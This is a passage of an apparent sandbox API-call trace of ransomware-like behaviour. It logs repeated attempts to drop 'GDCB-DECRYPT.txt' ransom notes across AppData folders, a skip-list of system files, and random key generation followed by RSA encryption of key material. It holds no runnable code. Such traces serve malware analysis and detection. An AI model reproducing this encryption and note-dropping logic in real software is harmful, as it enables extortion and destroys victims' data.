Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Vault\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\vault\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.500] GetLastError () returned 0x3 [0170.500] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.500] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.500] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.500] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.500] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Vault\\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\\\\GDCB-DECRYPT.txt") returned 310 [0170.500] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Vault\\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\vault\\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.500] GetLastError () returned 0x3 [0170.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.501] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Vault\\UserProfileRoaming\\\\GDCB-DECRYPT.txt") returned 292 [0170.501] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Vault\\UserProfileRoaming\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\vault\\userprofileroaming\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.501] GetLastError () returned 0x3 [0170.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.501] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\\\GDCB-DECRYPT.txt") returned 273 [0170.501] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.501] GetLastError () returned 0x3 [0170.501] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content16.dat") returned 269 [0170.502] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content16.dat") returned 269 [0170.502] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content16.dat") returned 269 [0170.502] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content16.dat") returned 269 [0170.502] lstrcmpiW (lpString1="content16.dat", lpString2="desktop.ini") returned -1 [0170.502] lstrcmpiW (lpString1="content16.dat", lpString2="autorun.inf") returned 1 [0170.502] lstrcmpiW (lpString1="content16.dat", lpString2="ntuser.dat") returned -1 [0170.502] lstrcmpiW (lpString1="content16.dat", lpString2="iconcache.db") returned -1 [0170.502] lstrcmpiW (lpString1="content16.dat", lpString2="bootsect.bak") returned 1 [0170.502] lstrcmpiW (lpString1="content16.dat", lpString2="boot.ini") returned 1 [0170.502] lstrcmpiW (lpString1="content16.dat", lpString2="ntuser.dat.log") returned -1 [0170.502] lstrcmpiW (lpString1="content16.dat", lpString2="thumbs.db") returned -1 [0170.502] lstrcmpiW (lpString1="content16.dat", lpString2="GDCB-DECRYPT.txt") returned -1 [0170.502] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content16.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content16.dat")) returned 0xffffffff [0170.502] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content16.dat", dwFileAttributes=0xfffffffe) returned 0 [0170.502] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0170.502] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.502] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.502] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0170.502] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.503] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0170.503] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.503] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.503] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0170.503] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.503] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0170.505] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5f6230) returned 1 [0170.505] CryptGetKeyParam (in: hKey=0x5f6230, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0170.505] CryptEncrypt (in: hKey=0x5f6230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x28f0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x28f0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0170.505] GetLastError () returned 0x0 [0170.505] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0170.505] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0170.507] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5f6070) returned 1 [0170.507] CryptGetKeyParam (in: hKey=0x5f6070, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0170.507] CryptEncrypt (in: hKey=0x5f6070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2900000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2900000*, pdwDataLen=0x285d120*=0x100) returned 1 [0170.507] GetLastError () returned 0x0 [0170.507] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0170.507] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content16.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content16.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.508] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.508] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.508] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.508] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.508] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\\\GDCB-DECRYPT.txt") returned 275 [0170.508] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.508] GetLastError () returned 0x3 [0170.508] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.508] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.508] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.508] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.508] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\0\\\\GDCB-DECRYPT.txt") returned 277 [0170.508] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\0\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\0\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.508] GetLastError () returned 0x3 [0170.508] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.509] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1024\\\\GDCB-DECRYPT.txt") returned 280 [0170.509] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1024\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1024\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.509] GetLastError () returned 0x3 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.509] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\\\GDCB-DECRYPT.txt") returned 280 [0170.509] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1033\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.509] GetLastError () returned 0x3 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.509] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\\\GDCB-DECRYPT.txt") returned 293 [0170.509] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.509] GetLastError () returned 0x3 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.509] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\AppCache\\\\GDCB-DECRYPT.txt") returned 284 [0170.509] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\AppCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\appcache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.509] GetLastError () returned 0x3 [0170.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.510] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Application Shortcuts\\\\GDCB-DECRYPT.txt") returned 297 [0170.510] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Application Shortcuts\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\application shortcuts\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.510] GetLastError () returned 0x3 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.510] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\\\GDCB-DECRYPT.txt") returned 280 [0170.510] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.510] GetLastError () returned 0x3 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.510] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\\\GDCB-DECRYPT.txt") returned 282 [0170.510] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.510] GetLastError () returned 0x3 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, 